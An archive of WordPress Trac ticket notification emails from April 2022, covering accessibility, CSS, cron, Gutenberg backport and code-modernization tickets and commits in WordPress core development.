In-Reply-To: <053.06db99f017cbf7d27f8f904f21b948fd@wordpress.org> References: <053.06db99f017cbf7d27f8f904f21b948fd@wordpress.org> Message-ID: <068.d7f9f71522debb09457c7c7739bd34ba@wordpress.org> #55498: Permalink Settings Page Accessibility Improve --------------------------+------------------------------------- Reporter: rishishah | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Permalinks | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility, ui-copy --------------------------+------------------------------------- Comment (by kebbet): I was sketching to add a paragraph between the heading `Common Settings` and the selection table. Something like this. `Select the permalink structure for your website. A structure that includes the post name makes sharing links to others more understandable.` Any thoughts? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55498#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 08:24:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 08:24:39 -0000 Subject: [wp-trac] [WordPress Trac] #55555: List tables: edit Comments column header Message-ID: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> #55555: List tables: edit Comments column header ----------------------------+----------------------------- Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Keywords: Focuses: accessibility | ----------------------------+----------------------------- #24766 suggests removing the title attribute from this icon. And replacing the icon with the word(s) would require making the column wider and/or other changes. Because the element already has non-visual text, I propose simply telling screen readers to ignore the icon and the title attribute. The title may not have much value for people who do not use a mouse, but keeping the attribute is easier than making a fully accessible tooltip (#51006). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55555> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 08:28:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 08:28:14 -0000 Subject: [wp-trac] [WordPress Trac] #55555: List tables: edit Comments column header In-Reply-To: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> References: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> Message-ID: <070.77d760913c17850e6342879d9cbab4a0@wordpress.org> #55555: List tables: edit Comments column header ----------------------------+------------------------------ Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: accessibility ----------------------------+------------------------------ Changes (by sabernhardt): * Attachment "55555.diff" added. splitting `span` elements so the one with an icon can have `aria-hidden` -- Ticket URL: <https://core.trac.wordpress.org/ticket/55555> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 08:36:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 08:36:02 -0000 Subject: [wp-trac] [WordPress Trac] #55556: WP cron daily issue Message-ID: <052.e867bb3c8f3ff9043f5077c78cf0ef23@wordpress.org> #55556: WP cron daily issue --------------------------+----------------------------- Reporter: liedekef | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Cron API | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- In wordpress, a day is defined as having 24 hours: wp-includes/default-constants.php: define( 'DAY_IN_SECONDS', 24 * HOUR_IN_SECONDS ); but that doesn’t take summer/winter time into account of course. While it is being stated above the definition that these values are approximate and are provided for convenience, the DAY_IN_SECONDS is being used in the “daily” cron definition. This means - in case of DST - if you plan something to happen daily at midnight (say membership status recalc, half of the year it will happen one hour later/earlier (depending on the day you planned it initially). So, in order to be sure something happens daily “as soon as the new day starts”, you need to plan it at 01:00 at the earliest to be sure it is always on the same day (in case of DST). Since the fixed wp schedules are in fact “fixed”, why not have them calculate “daily” as the DateTime function “+1 day”? The same goes for weekly, monthly, yearly. The basic schedules could even be thrown away and WP could e.g. translate 'daily' to '+1 day' on the fly. I know WP cron doesn’t run exactly the moment you want it (unless you use system cron), but if running something “daily” at around midnight and it causes it to be ran at 23:00 instead, you might be giving people an extra free day entrance (again for memberships). Moreover, getting rid of "schedules" and moving cron to its own database table would be even better (planning a recurring action should not require the need for a schedule definition via a filter, but use "last executed time" + the recurrence definition in datetime notation as a cron- definition). But this last remark is a whole other discussion, so not for this issue (but I would be willing to invest time in this to help develop it). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55556> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 08:46:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 08:46:06 -0000 Subject: [wp-trac] [WordPress Trac] #55555: List tables: edit Comments column header In-Reply-To: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> References: <055.d18872dbda329194fa7c3bca587101ec@wordpress.org> Message-ID: <070.e79cb5f3f0064fa91d784b89ee4ff554@wordpress.org> #55555: List tables: edit Comments column header ----------------------------+------------------------------ Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility ----------------------------+------------------------------ Changes (by sabernhardt): * keywords: => has-patch Old description: > #24766 suggests removing the title attribute from this icon. And > replacing the icon with the word(s) would require making the column wider > and/or other changes. > > Because the element already has non-visual text, I propose simply telling > screen readers to ignore the icon and the title attribute. The title may > not have much value for people who do not use a mouse, but keeping the > attribute is easier than making a fully accessible tooltip (#51006). New description: #24766 suggests removing the title attribute from this icon. And replacing the icon with the word(s) would require making the column wider and/or other changes. Because the element already has non-visual text, I propose simply telling screen readers to ignore the icon and the title attribute. The title may not have value for people who do not use a mouse, but keeping the attribute is easier than making a fully accessible tooltip (#51006). -- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55555#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 09:03:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 09:03:43 -0000 Subject: [wp-trac] [WordPress Trac] #55557: Reduce CSS-float in admin Message-ID: <050.d7cf58cd39b802ea8cbca97ec88ed6bb@wordpress.org> #55557: Reduce CSS-float in admin ----------------------------+----------------------------- Reporter: kebbet | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Keywords: needs-patch Focuses: css | ----------------------------+----------------------------- Improve the CSS-code with less floating, as `float` never was intended for layout. Extension and a follow up to https://core.trac.wordpress.org/ticket/55498 where available structure tags are floated in a horizontal line. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55557> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 09:37:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 09:37:13 -0000 Subject: [wp-trac] [WordPress Trac] #55558: Hide/show password on new user, missaligned Message-ID: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> #55558: Hide/show password on new user, missaligned --------------------------+----------------------------- Reporter: kebbet | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: Severity: minor | Keywords: needs-patch Focuses: css | --------------------------+----------------------------- On small screens the button for showing the password as an incorrect right offset. The alignment issue stems (I guess) from edit user screen which has a cancel button in the empty space. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55558> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 09:45:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 09:45:05 -0000 Subject: [wp-trac] [WordPress Trac] #55558: Hide/show password on new user, missaligned In-Reply-To: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> References: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> Message-ID: <065.c971bf5fe02c04e286b4f1b749d40f31@wordpress.org> #55558: Hide/show password on new user, missaligned ---------------------------------------+------------------------------ Reporter: kebbet | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: Severity: minor | Resolution: Keywords: has-screenshots has-patch | Focuses: css ---------------------------------------+------------------------------ Changes (by kebbet): * keywords: has-patch => has-screenshots has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55558#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 10:13:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 10:13:15 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.bb25c4a0837064b19df730293c26079b@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53128" 53128]: {{{ #!CommitTicketReference repository="" revision="53128" Tests: Improve code comments for block supports tests Follow-up for [53085]. Props ramonopoly, antonvlasenko, peterwilsoncc. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:73> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 10:29:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 10:29:21 -0000 Subject: [wp-trac] [WordPress Trac] #55558: Hide/show password on new user, missaligned In-Reply-To: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> References: <050.98a6c24e258174e1dd84e2ee0d61f68b@wordpress.org> Message-ID: <065.7c131dbd1117b5024e91f8b9053d45d2@wordpress.org> #55558: Hide/show password on new user, missaligned ---------------------------------------+------------------------------ Reporter: kebbet | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: Severity: minor | Resolution: Keywords: has-screenshots has-patch | Focuses: css ---------------------------------------+------------------------------ Comment (by kebbet): Related https://core.trac.wordpress.org/ticket/42853 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55558#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 10:36:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 10:36:17 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.5be94bdf64419eb3990d995ca2f21485@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53129" 53129]: {{{ #!CommitTicketReference repository="" revision="53129" Editor: Add functionality required for theme export in the site editor This bring across changes to theme export functionality, and related code, and tests. Relates issue in Gutenberg: https://github.com/WordPress/gutenberg/issues/39889. Props scruffian, timothyblynjacobs, oandregal, ajlende, zieleadam. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:76> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:00:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:00:00 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.02319e392ce987721d05b41c721d49cd@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53130" 53130]: {{{ #!CommitTicketReference repository="" revision="53130" Editor: Add missing `defaultDutone` changes Follow-up for [53129]. This PR backports the remaining `defaultDuotone` option changes added in the Gutenberg plugin. Related PRs: https://github.com/WordPress/gutenberg/pull/38681 and https://github.com/WordPress/gutenberg/pull/39966. Props oandregal, ajlende. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:78> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:40:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:40:16 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.096e719674ce0704b1448784217081ae@wordpress.org> #46057: Remove self-references ("we") in text in core --------------------------------------------------+------------------------ Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: ui-copy --------------------------------------------------+------------------------ Changes (by audrasjb): * keywords: has-patch needs-copy-review => has-patch commit assigned-for- commit Comment: Way to go, I had a copy review for all those changes, I updated the PR, and I'm now marking it for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:40:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:40:54 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.5ee3c2a1890931e32632aae53c5bddc5@wordpress.org> #46057: Remove self-references ("we") in text in core --------------------------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: ui-copy --------------------------------------------------+----------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53131" 53131]: {{{ #!CommitTicketReference repository="" revision="53131" Administration: Remove self-reference ("we") in WordPress Admin. This changes updates many strings to remove self-references to an undefined "we" collective across the WordPress Administration. The goal of this change is to better match the guidelines and recommendations set forth in the make/core handbook, specifically: > the word "we" should be avoided (…) unless its made very clear which group is speaking. Props johnbillion, shital-patel, audrasjb, marybaum, SergeyBiryukov, peterwilsoncc, johnjamesjacoby, kebbet, costdev, chaion07, davidbaumwald. Fixes #46057. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:49:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:49:14 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.e9261a55d0384802a19f1d79bea6f791@wordpress.org> #46057: Remove self-references ("we") in text in core --------------------------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: ui-copy --------------------------------------------------+----------------------- Comment (by audrasjb): In [changeset:"53132" 53132]: {{{ #!CommitTicketReference repository="" revision="53132" Administration: Replace "can not" with "cannot" after [53131]. Follow-up to [53131], [52979]. See #46057, #38913 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:49:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:49:14 -0000 Subject: [wp-trac] [WordPress Trac] #38913: Aggregation of contracted and not contracted verb forms (cannot, doesn't)? In-Reply-To: <053.6e82a07ce47cc4d1b857275a22c4d5e2@wordpress.org> References: <053.6e82a07ce47cc4d1b857275a22c4d5e2@wordpress.org> Message-ID: <068.571d514abaee10cba5ac1a94ee83f419@wordpress.org> #38913: Aggregation of contracted and not contracted verb forms (cannot, doesn't)? -------------------------------------------------+------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: ui-copy assigned-for-commit | -------------------------------------------------+------------------------- Comment (by audrasjb): In [changeset:"53132" 53132]: {{{ #!CommitTicketReference repository="" revision="53132" Administration: Replace "can not" with "cannot" after [53131]. Follow-up to [53131], [52979]. See #46057, #38913 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/38913#comment:70> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:53:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:53:52 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.75d689f56b282c8f85e3f2c76a924907@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): > I've added a couple of code reviews. I'm not sure where to put them since relevant PRs have already been closed. @antonvlasenko, this is awesome. Can you confirm if all your comments were addressed in [53128]? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:80> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 11:55:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 11:55:50 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Editor: Make block type aware of ancestor prop In-Reply-To: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> References: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> Message-ID: <067.cb6b31552bf30760bc5e274c639ce1e9@wordpress.org> #55531: Editor: Make block type aware of ancestor prop -------------------------------------------------+------------------------- Reporter: darerodz | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note commit needs-docs | -------------------------------------------------+------------------------- Comment (by gziolo): @milana_cap, see my comment https://core.trac.wordpress.org/ticket/55531#comment:3. PR with documentation changes is ready for review: https://github.com/WordPress/gutenberg/pull/40027. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 12:02:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 12:02:29 -0000 Subject: [wp-trac] [WordPress Trac] #51750: Update webpack to version 5.x In-Reply-To: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> References: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> Message-ID: <067.a2c78cf82c9fcf953a9df33ff501d329@wordpress.org> #51750: Update webpack to version 5.x ------------------------------+------------------------- Reporter: mukesh27 | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: javascript ------------------------------+------------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53135" 53135]: {{{ #!CommitTicketReference repository="" revision="53135" Build: Update webpack to v5.x Update webpack version to latest version https://www.npmjs.com/package/webpack. This aligns closer with how the Gutenberg plugin handles WordPress packages. Related update in Gutenberg from August 2021: https://github.com/WordPress/gutenberg/pull/33818. Props walbo, desrosj, mukesh27. Fixes #51750. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/51750#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 13:09:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 13:09:43 -0000 Subject: [wp-trac] [WordPress Trac] #54483: On logout input fields have aria described login_error In-Reply-To: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> References: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> Message-ID: <071.1b3827551acfd385abddc9543aa53383@wordpress.org> #54483: On logout input fields have aria described login_error ------------------------------------+-------------------------------- Reporter: patrickgroot | Owner: alexstine Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Login and Registration | Version: 5.8.2 Severity: trivial | Resolution: Keywords: has-patch | Focuses: ui, accessibility ------------------------------------+-------------------------------- Changes (by afercia): * Attachment "54483.4.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54483> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 13:14:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 13:14:50 -0000 Subject: [wp-trac] [WordPress Trac] #54483: On logout input fields have aria described login_error In-Reply-To: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> References: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> Message-ID: <071.fa7e594335290a1ba54e4f39f5845f90@wordpress.org> #54483: On logout input fields have aria described login_error ------------------------------------+-------------------------------- Reporter: patrickgroot | Owner: alexstine Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Login and Registration | Version: 5.8.2 Severity: trivial | Resolution: Keywords: has-patch | Focuses: ui, accessibility ------------------------------------+-------------------------------- Comment (by afercia): [attachment:"54483.4.diff"] is a refresh against latest trunk. To test: - Logout from the admin. - Check both the username and password fields have an `aria-describedby` attribute that points to the success notice with id `login-message`. - Try to login by entering invalid credentials. - Check both the username and password fields have an `aria-describedby` attribute that points to the error notice with id `login_error`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54483#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 13:37:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 13:37:03 -0000 Subject: [wp-trac] [WordPress Trac] #54924: [video] shortcode with vimeo url In-Reply-To: <049.db37046112dcb75b85eda256e8d811c7@wordpress.org> References: <049.db37046112dcb75b85eda256e8d811c7@wordpress.org> Message-ID: <064.8816ae0a724b44dc430c71137bcc4956@wordpress.org> #54924: [video] shortcode with vimeo url ------------------------------------------+------------------------------ Reporter: elpix | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Embeds | Version: 5.9 Severity: critical | Resolution: Keywords: has-testing-info needs-patch | Focuses: ui ------------------------------------------+------------------------------ Changes (by audrasjb): * keywords: has-testing-info reporter-feedback => has-testing-info needs- patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/54924#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 13:57:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 13:57:44 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.5b4f31b2e8eb06920cf801ac27cce523@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` ----------------------------+--------------------- Reporter: dlh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by antonvlasenko): I've investigated hooks present in the `default-filters.php` file. Out of more than 400 hooks listed in that file, only 9 hooks don't have available callbacks. So it means that these 9 callback functions should be called from the admin context. I've checked the source code, and I confirm that. I've moved 6 hooks to the `admin-filters.php` file. According to the [https://github.com/WordPress/wordpress- develop/blob/trunk/src/wp-includes/default-filters.php#L644 this comment] in the `default-filters.php` file, the remaining 3 hooks could be used on the front-end as well so I didn't move them. I'd appreciate a quick review and merge of my PR as WP 6.0 Beta 1 should be released tomorrow. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 14:19:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 14:19:29 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.ecb85fc29d5efa0676e397e8956a5617@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53137" 53137]: {{{ #!CommitTicketReference repository="" revision="53137" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/class-wp-site-icon.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$object` variable to `$attachment` in `WP_Site_Icon::insert_attachment()` and updates the documentation accordingly. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 14:23:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 14:23:14 -0000 Subject: [wp-trac] [WordPress Trac] #55551: WP FANZONE In-Reply-To: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> References: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> Message-ID: <068.30dfb033ae24778de483f57a28350fab@wordpress.org> #55551: WP FANZONE --------------------------+--------------------------------------------- Reporter: garytexas | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: Awaiting Review Component: General | Version: 3.2 Severity: normal | Resolution: Keywords: close | Focuses: docs, administration, template --------------------------+--------------------------------------------- Changes (by garytexas): * status: closed => reopened * resolution: invalid => Comment: Would you know of a website developer with WordPress that could rebuild my bullseyesports.com website using the WP FanZone theme? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55551#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 14:35:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 14:35:58 -0000 Subject: [wp-trac] [WordPress Trac] #42438: Add support for preload links (similar to resource hints) In-Reply-To: <050.0de6892de922598589d51123ece4cc8e@wordpress.org> References: <050.0de6892de922598589d51123ece4cc8e@wordpress.org> Message-ID: <065.8129b9b7c0aca7b3e30063267e458cfb@wordpress.org> #42438: Add support for preload links (similar to resource hints) ----------------------------------------+----------------------------- Reporter: nico23 | Owner: swissspidy Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future Release Component: Script Loader | Version: 4.9 Severity: normal | Resolution: Keywords: needs-unit-tests has-patch | Focuses: ----------------------------------------+----------------------------- Comment (by furi3r): pinging others on here @westonruter @flixos90 for more feedback. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42438#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 15:17:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 15:17:32 -0000 Subject: [wp-trac] [WordPress Trac] #55399: esc_xml() removes valid XML input ( input that is empty() ) In-Reply-To: <054.6f1ed67beb6072490bacc7335e1248d1@wordpress.org> References: <054.6f1ed67beb6072490bacc7335e1248d1@wordpress.org> Message-ID: <069.64c7a81163b3fa252f228ae71d431120@wordpress.org> #55399: esc_xml() removes valid XML input ( input that is empty() ) -------------------------------------------------+------------------------- Reporter: rumpel2116 | Owner: pbiron Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Formatting | Version: 5.5 Severity: normal | 